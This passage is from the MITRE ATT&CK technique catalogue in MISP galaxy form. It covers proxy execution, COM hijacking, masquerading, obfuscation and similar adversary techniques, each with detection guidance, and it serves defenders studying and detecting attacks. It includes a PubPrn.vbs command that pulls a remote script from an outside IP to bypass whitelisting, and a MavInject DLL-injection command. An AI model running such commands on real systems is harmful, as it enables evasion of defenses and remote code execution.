Scripts signed with trusted certificates can be used to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application whitelisting solutions that do not account for use of these scripts.

PubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: <code>cscript C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png</code>

There are several other signed scripts that may be used in a similar manner. (Citation: GitHub Ultimate AppLocker Bypass List)

Detection: Monitor script processes, such as cscript, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.

Platforms: Windows

Data Sources: Process monitoring, Process command-line parameters

Defense Bypassed: Application whitelisting, Digital Certificate Validation

Permissions Required: User

Remote Support: No

Contributors: Praetorian

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Signed Script Proxy Execution - T1216"*

Table 1934. Table References

Links
https://attack.mitre.org/wiki/Technique/T1216
https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/
https://github.com/api0cradle/UltimateAppLockerByPassList

Email Collection - T1114

Adversaries may target user email to collect sensitive information from a target.

Files containing email data can be acquired from a user’s system, such as Outlook storage or cache files .pst and .ost.

Adversaries may leverage a user’s credentials and interact directly with the Exchange server to acquire information from within a network.

Some adversaries may acquire user credentials and access externally facing webmail applications, such as Outlook Web Access.

Detection: There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.

File access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.

Monitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Windows

Data Sources: Authentication logs, File monitoring, Process monitoring, Process use of network

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Email Collection - T1114"*

Table 1935. Table References

Links
https://attack.mitre.org/wiki/Technique/T1114

System Information Discovery - T1082

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.

===Windows===

Example commands and utilities that obtain this information include <code>ver</code>, Systeminfo, and <code>dir</code> within cmd for identifying information based on present files and directories.

===Mac===

On Mac, the <code>systemsetup</code> command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the <code>system_profiler</code> gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.

Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Linux, macOS, Windows

Data Sources: Process command-line parameters, Process monitoring

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="System Information Discovery - T1082"*

Table 1936. Table References

Links
https://attack.mitre.org/wiki/Technique/T1082

System Network Connections Discovery - T1049

Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.

===Windows===

Utilities and commands that acquire this information include netstat, "net use," and "net session" with Net.

===Mac and Linux ===

In Mac and Linux, <code>netstat</code> and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to "net session".

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Linux, macOS, Windows

Data Sources: Process command-line parameters, Process monitoring

Permissions Required: User, Administrator

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="System Network Connections Discovery - T1049"*

Table 1937. Table References

Links
https://attack.mitre.org/wiki/Technique/T1049

Local Job Scheduling - T1168

On Linux and Apple systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike Scheduled Task on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).

===cron===

System-wide cron jobs are installed by modifying <code>/etc/crontab</code> file, <code>/etc/cron.d/</code> directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on Mac and Linux systems.

Those methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.

===at===

The at program is another means on Linux-based systems, including Mac, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.

===launchd===

Each launchd job is described by a different configuration property list (plist) file similar to Launch Daemon or Launch Agent, except there is an additional key called <code>StartCalendarInterval</code> with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.

Detection: Legitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.

Platforms: Linux, macOS

Data Sources: File monitoring, Process Monitoring

Permissions Required: Administrator, User, root

Contributors: Anastasios Pingios

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Local Job Scheduling - T1168"*

Table 1938. Table References

Links
https://attack.mitre.org/wiki/Technique/T1168
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html
http://www.thesafemac.com/new-signed-malware-called-janicab/
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf
https://linux.die.net/man/5/crontab
https://linux.die.net/man/1/at
https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/

Two-Factor Authentication Interception - T1111

Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.

If a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)

Other methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)

Other hardware tokens, such as RSA SecurID, require the adversary to have access to the physical device or the seed and algorithm in addition to the corresponding credentials.

Detection: Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.

Platforms: Linux, macOS, Windows

Permissions Required: Administrator, SYSTEM

System Requirements: Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.

Out-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.

Hardware token: Access to the seed and algorithm of generating one-time codes.

Contributors: John Lambert, Microsoft Threat Intelligence Center

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Two-Factor Authentication Interception - T1111"*

Table 1939. Table References

Links
https://attack.mitre.org/wiki/Technique/T1111
https://dl.mandiant.com/EE/assets/PDF%20MTrends%202011.pdf
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf

Execution through API - T1106

Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters. (Citation: Microsoft CreateProcess)

Additional Windows API calls that can be used to execute binaries include: (Citation: Kanthak Verifier)

*CreateProcessA() and CreateProcessW(), *CreateProcessAsUserA() and CreateProcessAsUserW(), *CreateProcessInternalA() and CreateProcessInternalW(), *CreateProcessWithLogonW(), CreateProcessWithTokenW(), *LoadLibraryA() and LoadLibraryW(), *LoadLibraryExA() and LoadLibraryExW(), *LoadModule(), *LoadPackagedLibrary(), *WinExec(), *ShellExecuteA() and ShellExecuteW(), *ShellExecuteExA() and ShellExecuteExW()

Detection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows API functions such as CreateProcess are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient.

Platforms: Windows

Data Sources: API monitoring, Process monitoring

Permissions Required: User, Administrator, SYSTEM

Remote Support: No

Contributors: Stefan Kanthak

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Execution through API - T1106"*

Table 1940. Table References

Links
https://attack.mitre.org/wiki/Technique/T1106
http://msdn.microsoft.com/en-us/library/ms682425
https://skanthak.homepage.t-online.de/verifier.html

Component Object Model Hijacking - T1122

The (Citation: Microsoft Component Object Model) (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

Detection: There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within <code>HKEY_CURRENT_USER\Software\Classes\CLSID\</code> may be anomalous and should be investigated since user objects will be loaded prior to machine objects in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\</code>. (Citation: Endgame COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.

Platforms: Windows

Data Sources: Windows Registry, DLL monitoring, Loaded DLLs

Defense Bypassed: Autoruns Analysis

Permissions Required: User

Contributors: ENDGAME

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Component Object Model Hijacking - T1122"*

Table 1941. Table References

Links
https://attack.mitre.org/wiki/Technique/T1122
https://msdn.microsoft.com/library/ms694363.aspx
https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com

Clipboard Data - T1115

Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications.

===Windows===

Applications can access clipboard data by using the Windows API. (Citation: MSDN Clipboard)

===Mac===

OSX provides a native command, <code>pbpaste</code>, to grab clipboard contents (Citation: Operating with EmPyre).

Detection: Access to the clipboard is a legitimate function of many applications on a Windows system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.

Platforms: Linux, macOS, Windows

Data Sources: API monitoring

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Clipboard Data - T1115"*

Table 1942. Table References

Links
https://attack.mitre.org/wiki/Technique/T1115
https://msdn.microsoft.com/en-us/library/ms649012
http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/

Hidden Window - T1143

The configurations for how applications run on macOS and OS X are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window (Citation: Antiquated Mac Malware).

Detection: Plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the <code>apple.awt.UIElement</code> or any other suspicious plist tag in plist files and flag them.

Platforms: macOS

Data Sources: File monitoring

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Hidden Window - T1143"*

Table 1943. Table References

Links
https://attack.mitre.org/wiki/Technique/T1143
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/

Domain Fronting - T1172

Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).

For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.

Detection: If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blacklist or whitelist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)

Platforms: Linux, macOS, Windows

Data Sources: SSL/TLS inspection, Packet capture

Requires Network: Yes

Contributors: Matt Kelly, @breakersall

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Domain Fronting - T1172"*

Table 1944. Table References

Links

https://attack.mitre.org/wiki/Technique/T1172
http://www.icir.org/vern/papers/meek-PETS-2015.pdf

LC_MAIN Hijacking - T1149

As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary's entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn't know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.

Detection: Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.

Platforms: macOS

Data Sources: Binary file metadata, Malware reverse engineering, Process Monitoring

Defense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path

Permissions Required: User, Administrator

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="LC_MAIN Hijacking - T1149"*

Table 1945. Table References

Links
https://attack.mitre.org/wiki/Technique/T1149
https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Signed Binary Proxy Execution - T1218

Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application whitelisting and signature validation on systems. This technique accounts for proxy execution methods that are not already accounted for within the existing techniques.

===Mavinject.exe=== Mavinject.exe is a Windows utility that allows for code execution. Mavinject can be used to input a DLL into a running process. (Citation: Twitter gN3mes1s Status Update

MavInject32)

<code>"C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe" <PID> /INJECTRUNNING <PATH DLL> C:\Windows\system32\mavinject.exe <PID> /INJECTRUNNING <PATH DLL></code>

===SyncAppvPublishingServer.exe=== SyncAppvPublishingServer.exe can be used to run powershell scripts without executing powershell.exe. (Citation: Twitter monoxgas Status Update SyncAppvPublishingServer)

Several others binaries exist that may be used to perform similar behavior. (Citation: GitHub Ultimate AppLocker Bypass List)

Detection: Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.

Platforms: Windows

Data Sources: Process monitoring, Process command-line parameters

Defense Bypassed: Application whitelisting, Digital Certificate Validation

Permissions Required: User

Remote Support: No

Contributors: Praetorian

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Signed Binary Proxy Execution - T1218"*

Table 1946. Table References

Links
https://attack.mitre.org/wiki/Technique/T1218
https://twitter.com/gn3mes1s/status/941315826107510784
https://twitter.com/monoxgas/status/895045566090010624
https://github.com/api0cradle/UltimateAppLockerByPassList

InstallUtil - T1118

InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: <code>C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe</code> and <code>C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe</code>. InstallUtil.exe is digitally signed by Microsoft.

Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility.

InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)

Detection: Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.

Platforms: Windows

Data Sources: Process monitoring, Process command-line parameters

Defense Bypassed: Process whitelisting

Permissions Required: User

Remote Support: No

Contributors: Casey Smith, Travis Smith, Tripwire

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="InstallUtil - T1118"*

Table 1947. Table References

Links
https://attack.mitre.org/wiki/Technique/T1118
https://msdn.microsoft.com/en-us/library/50614e95.aspx

Data Obfuscation - T1001

Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.

Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

Platforms: Linux, macOS, Windows

Data Sources: Packet capture, Process use of network, Process monitoring, Network protocol analysis

Requires Network: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Data Obfuscation - T1001"*

Table 1948. Table References

Links
https://attack.mitre.org/wiki/Technique/T1001
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Shortcut Modification - T1023

Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use Masquerading to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.

Detection: Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.

Platforms: Windows

Data Sources: File monitoring, Process command-line parameters, Process monitoring

Permissions Required: User, Administrator

Contributors: Travis Smith, Tripwire

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Shortcut Modification - T1023"*

Table 1949. Table References

Links
https://attack.mitre.org/wiki/Technique/T1023

Launch Agent - T1159

Per Apple's developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).

Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user's directory structure) or when any user logs in (which requires administrator privileges).

Detection: Monitor Launch Agent creation through additional plist files and utilities such as Objective-See's KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.

Platforms: macOS

Data Sources: File monitoring, Process Monitoring

Permissions Required: User, Administrator

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Launch Agent - T1159"*

Table 1950. Table References

Links
https://attack.mitre.org/wiki/Technique/T1159
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf
https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/

Obfuscated Files or Information - T1027

Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.

Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)

Adversaries may also obfuscate commands executed from payloads or directly via a Command-Line Interface. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017)

Another example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding Invoke-PSImage. The Duqu malware encrypted the gathered information from a victim's system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used Invoke-PSImage to hide PowerShell commands in an image file (png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)

Detection: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).

Flag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016)

Obfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection.

Platforms: Linux, macOS, Windows

Data Sources: Network protocol analysis, Process use of network, Binary file metadata, File monitoring, Malware reverse engineering, Process command-line parameters, Environment variable, Process Monitoring, Windows event logs, Network intrusion detection system, Email gateway, SSL/TLS inspection

Defense Bypassed: Host forensic analysis, Signature-based detection, Host intrusion prevention systems, Application whitelisting, Process whitelisting, Log analysis, Whitelisting by file name or path

Contributors: Red Canary, Christiaan Beek, @ChristiaanBeek

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Obfuscated Files or Information - T1027"*

Table 1951. Table References

Links
https://attack.mitre.org/wiki/Technique/T1027
https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/
https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/
https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/
https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html
https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf
https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/
https://en.wikipedia.org/wiki/Duqu
https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/
https://github.com/danielbohannon/Revoke-Obfuscation
https://github.com/itsreallynick/office-crackros

Video Capture - T1125

An adversary can leverage a computer’s peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.

Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim’s screen.

In macOS, there are a few different malware samples that record the user’s webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)

Detection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.

Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.

Platforms: Windows, macOS

Data Sources: Process monitoring, File monitoring, API monitoring

Permissions Required: User

Contributors: Praetorian

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Video Capture - T1125"*

Table 1952. Table References

Links
https://attack.mitre.org/wiki/Technique/T1125
https://objective-see.com/blog/blog%200x25.html

Masquerading - T1036

Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.

One variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs. This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.

===Windows=== In another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)

An example of abuse of trusted locations in Windows would be the <code>C:\Windows\System32</code> directory. Examples of trusted binary names that can be given to malicious binares include "explorer.exe" and "svchost.exe".

===Linux=== Another variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten)

An example of abuse of trusted locations in Linux would be the <code>/bin</code> directory. Examples of trusted binary names that can be given to malicious binares include "rsyncd" and "dbus-inotifier". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis)

Detection: Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.

If file names are mismatched between the binary name on disk and the binary's resource section, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball)

Platforms: Linux, macOS, Windows

Data Sources: File monitoring, Process monitoring, Binary file metadata

Defense Bypassed: Whitelisting by file name or path

Contributors: ENDGAME, Bartosz Jerzman

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Masquerading - T1036"*

Table 1953. Table References

Links
https://attack.mitre.org/wiki/Technique/T1036
https://www.endgame.com/blog/how-hunt-masquerade-ball
https://www.f-secure.com/documents/996508/1030745/CozyDuke
https://www.welivesecurity.com/2016/03/30/meet-remaiten-a-linux-bot-on-steroids-targeting-routers-and-potentially-other-iot-devices/
https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/
https://vms.drweb.com/virus/?i=4276269

DLL Side-Loading - T1073

